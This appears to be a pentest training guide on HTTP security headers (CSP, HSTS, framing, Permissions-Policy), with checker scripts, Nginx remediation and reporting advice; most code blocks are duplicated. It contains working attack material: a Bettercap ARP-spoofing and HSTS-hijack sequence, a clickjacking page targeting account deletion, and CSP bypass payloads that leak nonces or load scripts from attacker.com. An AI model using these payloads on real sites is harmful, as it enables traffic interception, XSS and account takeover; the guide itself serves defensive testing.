Security Headers Testing
HTTP security headers are a critical defense layer. Missing or misconfigured headers enable clickjacking, XSS, MIME sniffing, SSL stripping, and data leakage attacks.
๐ Why Security Headers Matter
๐ ๏ธ Header Testing Tools
Nuclei
Template-based header checks at scale
nuclei -t http/misconfiguration/ Burp Suite
Passive detection of missing headers
# Passive scan 1. Content-Security-Policy (CSP)
CSP controls which resources the browser is allowed to load. A weak or missing CSP dramatically increases XSS exploitability. Testing CSP is essential on every web pentest.
Testing CSP
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"
# Common weak CSP patterns to look for:
# unsafe-inline โ Allows inline scripts (XSS exploitable)
# unsafe-eval โ Allows eval() (XSS exploitable)
# data: in script-src โ Allows data: URI scripts
# * or *.cdn.com โ Overly broad source allowlists
# Missing default-src โ No fallback policy
# Missing frame-ancestors โ Clickjacking possible
# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script># Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"
# Common weak CSP patterns to look for:
# unsafe-inline โ Allows inline scripts (XSS exploitable)
# unsafe-eval โ Allows eval() (XSS exploitable)
# data: in script-src โ Allows data: URI scripts
# * or *.cdn.com โ Overly broad source allowlists
# Missing default-src โ No fallback policy
# Missing frame-ancestors โ Clickjacking possible
# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>CSP Bypass Techniques
| CSP Directive | Weakness | Bypass |
|---|---|---|
script-src 'unsafe-inline' | Allows inline scripts | Standard XSS payloads work |
script-src 'unsafe-eval' | Allows eval() | Use eval-based payloads |
script-src *.google.com | Broad CDN allowlist | Host payload on Google Apps Script |
script-src 'nonce-xxx' | Nonce leaked or predictable | Reuse leaked nonce value |
No base-uri directive | Base tag injection possible | <base href="https://evil.com/"> |
No frame-ancestors | Clickjacking possible | Frame the target page |
2. Strict-Transport-Security (HSTS)
HSTS forces browsers to use HTTPS, preventing SSL stripping attacks. Missing HSTS allows tools like sslstrip and Bettercap to downgrade connections.
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"
# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Test for HSTS weaknesses:
# 1. Missing header entirely โ SSL stripping possible
# 2. Low max-age (< 1 year) โ Short protection window
# 3. Missing includeSubDomains โ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ First visit vulnerable
# Check preload status
# Visit: https://hstspreload.org/?domain=target.com
# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"
# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Test for HSTS weaknesses:
# 1. Missing header entirely โ SSL stripping possible
# 2. Low max-age (< 1 year) โ Short protection window
# 3. Missing includeSubDomains โ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ First visit vulnerable
# Check preload status
# Visit: https://hstspreload.org/?domain=target.com
# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on3. X-Frame-Options & Clickjacking
Missing or weak framing controls allow clickjacking attacks where a user interacts with a transparent iframe over a fake page.
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"
# Expected values:
# X-Frame-Options: DENY โ Cannot be framed
# X-Frame-Options: SAMEORIGIN โ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none'; โ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self'; โ CSP equivalent of SAMEORIGIN
# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"
# Expected values:
# X-Frame-Options: DENY โ Cannot be framed
# X-Frame-Options: SAMEORIGIN โ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none'; โ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self'; โ CSP equivalent of SAMEORIGIN
# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
<button style="position: absolute; top: 0; left: 0; z-index: 1;
opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
<iframe src="https://target.com/settings/delete-account"
style="width: 500px; height: 500px; border: none; z-index: 0;">
</iframe>
</div>
</body>
</html><!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
<button style="position: absolute; top: 0; left: 0; z-index: 1;
opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
<iframe src="https://target.com/settings/delete-account"
style="width: 500px; height: 500px; border: none; z-index: 0;">
</iframe>
</div>
</body>
</html>4. Other Critical Headers
| Header | Purpose | Recommended Value | Attack if Missing |
|---|---|---|---|
X-Content-Type-Options | Prevent MIME sniffing | nosniff | MIME confusion / XSS via uploaded files |
Referrer-Policy | Control referrer leakage | strict-origin-when-cross-origin | Token/path leakage via Referer header |
Permissions-Policy | Restrict browser features | camera=(), microphone=(), geolocation=() | Unauthorized access to camera/mic/location |
Cross-Origin-Opener-Policy | Isolate browsing contexts | same-origin | Cross-origin window handle leaks (Spectre) |
Cross-Origin-Embedder-Policy | Require CORS for subresources | require-corp | Side-channel attacks (SharedArrayBuffer) |
Cross-Origin-Resource-Policy | Prevent cross-origin reads | same-origin | Cross-origin data leakage |
5. Information Leakage Headers
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"
# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu) โ Reveals server + OS + version
# X-Powered-By: Express โ Reveals framework
# X-Powered-By: PHP/8.1.2 โ Reveals language + version
# X-AspNet-Version: 4.0.30319 โ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7 โ Reveals MVC version
# X-Generator: WordPress 6.4 โ Reveals CMS + version
# These enable targeted CVE exploitation# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"
# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu) โ Reveals server + OS + version
# X-Powered-By: Express โ Reveals framework
# X-Powered-By: PHP/8.1.2 โ Reveals language + version
# X-AspNet-Version: 4.0.30319 โ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7 โ Reveals MVC version
# X-Generator: WordPress 6.4 โ Reveals CMS + version
# These enable targeted CVE exploitationAutomation Scripts
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
done#!/bin/bash
# Security Headers Analyzer
TARGET="$1"
echo "[*] Analyzing security headers: $TARGET"
HEADERS=$(curl -sI "$TARGET")
check_header() {
local header="$1"
local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
if [ -n "$result" ]; then
echo " [+] $result"
else
echo " [-] MISSING: $header"
fi
}
echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"
echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"
echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
echo " Cookie: $line"
if echo "$line" | grep -qi "secure"; then echo " [+] Secure flag"; else echo " [-] Missing Secure"; fi
if echo "$line" | grep -qi "httponly"; then echo " [+] HttpOnly flag"; else echo " [-] Missing HttpOnly"; fi
if echo "$line" | grep -qi "samesite"; then echo " [+] SameSite set"; else echo " [-] Missing SameSite"; fi
done#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")#!/usr/bin/env python3
"""Security Headers Checker - Bulk scanner"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor
SECURITY_HEADERS = {
"Strict-Transport-Security": {"severity": "HIGH", "description": "HSTS not set - vulnerable to SSL stripping"},
"Content-Security-Policy": {"severity": "MEDIUM", "description": "CSP not set - increased XSS risk"},
"X-Content-Type-Options": {"severity": "LOW", "description": "MIME sniffing not prevented"},
"X-Frame-Options": {"severity": "MEDIUM", "description": "Clickjacking possible"},
"Referrer-Policy": {"severity": "LOW", "description": "Referrer leakage possible"},
"Permissions-Policy": {"severity": "LOW", "description": "Browser features not restricted"},
}
def check_url(url):
try:
resp = requests.get(url, timeout=10, allow_redirects=True)
missing = []
for header, info in SECURITY_HEADERS.items():
if header.lower() not in {h.lower() for h in resp.headers}:
missing.append({"header": header, **info})
return {"url": url, "status": resp.status_code, "missing": missing}
except Exception as e:
return {"url": url, "error": str(e)}
if __name__ == "__main__":
urls = [line.strip() for line in open(sys.argv[1]) if line.strip()]
with ThreadPoolExecutor(max_workers=10) as pool:
results = list(pool.map(check_url, urls))
for r in results:
if "error" in r:
print(f"[-] {r['url']}: {r['error']}")
else:
print(f"[*] {r['url']} ({r['status']}): {len(r['missing'])} missing headers")
for m in r['missing']:
print(f" [{m['severity']}] {m['header']}: {m['description']}")๐ก๏ธ Remediation & Defense
Recommended Header Configuration
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;CWE References: CWE-693 (Protection Mechanism Failure), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-16 (Configuration)
โ Security Headers Checklist
- โ Content-Security-Policy present & strong
- โ Strict-Transport-Security with preload
- โ X-Frame-Options or frame-ancestors
- โ X-Content-Type-Options: nosniff
- โ Referrer-Policy configured
- โ Permissions-Policy set
- โ COOP/COEP/CORP headers
- โ Cookie flags (Secure, HttpOnly, SameSite)
- โ Server header hidden/generic
- โ X-Powered-By removed
- โ Technology-specific headers removed
- โ Error pages don't leak stack traces
๐ Advanced CSP Bypass Payloads
Warning
Nonce Extraction via Dangling Markup
If you can inject HTML before a nonced script tag, dangling markup can leak the nonce to an attacker-controlled server:
<!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->
<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->
<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script><!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->
<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->
<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script>script-src Bypass via JSONP / CDN Endpoints
When the CSP allowlists a CDN or domain hosting JSONP callbacks, you can inject arbitrary JavaScript:
<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>
<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<!-- jQuery sourcemap bypass (if jQuery CDN allowed): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<!--//# sourceMappingURL=https://attacker.com/steal?<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>
<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<!-- jQuery sourcemap bypass (if jQuery CDN allowed): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<!--//# sourceMappingURL=https://attacker.com/steal?strict-dynamic Bypass
The strict-dynamic directive allows scripts loaded by trusted scripts to execute โ this creates a chain of trust that can be exploited:
<!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->
<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
// If attacker controls any part of a trusted script's input:
var s = document.createElement('script');
s.src = 'https://attacker.com/evil.js';
document.body.appendChild(s); // Allowed by strict-dynamic!
</script>
<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a><!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->
<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
// If attacker controls any part of a trusted script's input:
var s = document.createElement('script');
s.src = 'https://attacker.com/evil.js';
document.body.appendChild(s); // Allowed by strict-dynamic!
</script>
<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a>Hash-Based CSP Bypass
When CSP uses hash-based allowlisting, the exact script content must match. Look for ways to reuse existing hashed scripts:
# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='
# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"
# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='
# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"
# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)object-src and plugin Bypass
<!-- If object-src is not restricted (default-src doesn't cover object-src in CSP1): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
<param name="AllowScriptAccess" value="always">
</object><!-- If object-src is not restricted (default-src doesn't cover object-src in CSP1): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
<param name="AllowScriptAccess" value="always">
</object>๐ Permissions-Policy Testing & Bypass
The Permissions-Policy header (formerly Feature-Policy) controls which browser features a page can use. Testing for misconfigurations can reveal exploitable gaps:
# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)
# Common misconfigurations to test:
# 1. Missing header entirely โ all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)
# Common misconfigurations to test:
# 1. Missing header entirely โ all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)Feature Directives to Test
| Directive | Risk if Missing | Bypass via |
|---|---|---|
camera | Webcam access in iframes | XSS on allowed origin |
microphone | Audio recording | XSS on allowed origin |
geolocation | Location tracking | Embed in allowed iframe |
payment | Payment API abuse | Phishing via iframe |
usb | USB device access | Direct page access if no restriction |
display-capture | Screen capture | Clickjacking for permission grant |
autoplay | Background audio/video | User interaction spoofing |
// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));
// Test from iframe context โ create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone'; // Override permissions in iframe
document.body.appendChild(iframe);// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));
// Test from iframe context โ create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone'; // Override permissions in iframe
document.body.appendChild(iframe);๐งช Practice Labs
PortSwigger Clickjacking Labs
Interactive clickjacking and framing labs
SecurityHeaders.com
Test any live site's security headers grade
Evidence Collection
Missing Header Inventory: Capture the full HTTP response headers and document each missing security header (CSP, HSTS, X-Frame-Options, etc.) with the specific risk each absence introduces.
CSP Bypass Proof: If CSP is present but bypassable, demonstrate inline script execution or data exfiltration that the policy fails to prevent โ include the policy directive and the bypass payload.
Clickjacking PoC: When X-Frame-Options or CSP frame-ancestors is missing, create an HTML page that iframes the target and performs UI redress โ screenshot the overlaid attacker interface.
HSTS Gap Analysis: Document whether HSTS is set, its max-age value, includeSubDomains presence, and preload status โ test for SSL stripping on first visit or subdomain downgrade.
CVSS Range: 2.6 (informational missing header) โ 8.1 (CSP bypass enabling stored XSS data exfiltration)
False Positive Identification
- Informational Headers Only: Missing X-Content-Type-Options or X-XSS-Protection (deprecated) on an API-only endpoint with no HTML responses is informational, not exploitable.
- Defense-in-Depth Context: A missing header that would only matter if another vulnerability exists (e.g., no X-Frame-Options but the page has no state-changing actions) should be noted but not rated as high severity.
- CDN/Proxy Stripping: Some CDNs or reverse proxies strip or modify security headers โ verify at the origin server before reporting the application as misconfigured.
- CSP Report-Only: Content-Security-Policy-Report-Only is intentionally non-enforcing for monitoring โ flag it as a finding only if there's no enforcing CSP alongside it.